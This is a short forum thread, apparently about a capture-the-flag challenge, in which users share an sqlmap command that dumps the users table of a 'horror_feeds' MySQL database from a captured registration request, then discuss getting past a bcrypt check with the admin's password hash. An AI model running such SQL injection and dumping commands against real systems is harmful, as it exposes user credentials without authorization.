Posts: 22 Threads: 0 Joined: N/A October 24, 2022 at 3:14 PM (October 24, 2022, 03:11 PM)fkrch1978tze Wrote: Forensics is just a traditional malicious VBA, need to deobfuscate the payload How to do that? Posts: 24 Threads: 0 Joined: N/A October 24, 2022 at 3:15 PM This works:
sqlmap -r tmp.txt --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump Posts: 0 Threads: 0 Joined: N/A October 24, 2022 at 3:19 PM Thanks! Posts: 22 Threads: 0 Joined: N/A October 24, 2022 at 3:21 PM (October 24, 2022, 03:15 PM)deathfrom Wrote: This works:
sqlmap -r tmp.txt --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump where I can do this? Posts: 19 Threads: 0 Joined: N/A October 24, 2022 at 3:23 PM thanks Posts: 24 Threads: 0 Joined: N/A October 24, 2022 at 3:25 PM (October 24, 2022, 03:21 PM)killerbee Wrote: (October 24, 2022, 03:15 PM)deathfrom Wrote: This works:
sqlmap -r tmp.txt --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump
where I can do this? In your terminal. Capture a request when you register Posts: 43 Threads: 0 Joined: N/A October 24, 2022 at 3:28 PM thanks bro Posts: 11 Threads: 0 Joined: N/A October 24, 2022 at 3:29 PM (October 24, 2022, 03:15 PM)deathfrom Wrote: This works:
sqlmap -r tmp.txt --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump i wonder what can be done with admin's password... it has to pass: def verify_hash(password, passhash):
return bcrypt.checkpw(password.encode(), passhash.encode())and it's not a valid bcrypt hash Posts: 24 Threads: 0 Joined: N/A October 24, 2022 at 3:31 PM (October 24, 2022, 03:29 PM)nirs Wrote: (October 24, 2022, 03:15 PM)deathfrom Wrote: This works:
sqlmap -r tmp.txt --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump
i wonder what can be done with admin's password...
it has to pass:
def verify_hash(password, passhash):
return bcrypt.checkpw(password.encode(), passhash.encode())
and it's not a valid bcrypt hash Yeah that is the bit I'm struggling with atm Posts: 22 Threads: 0 Joined: N/A October 24, 2022 at 3:34 PM (October 24, 2022, 03:25 PM)deathfrom Wrote: (October 24, 2022, 03:21 PM)killerbee Wrote: (October 24, 2022, 03:15 PM)deathfrom Wrote: This works:
sqlmap -r tmp.txt --dbs --dbms=MySQL -v 3 --batch -D horror_feeds -T users --dump
where I can do this?
In your terminal. Capture a request when you register terminal of the browser right? sorry for my infinite dumbness I didn't got it lol |
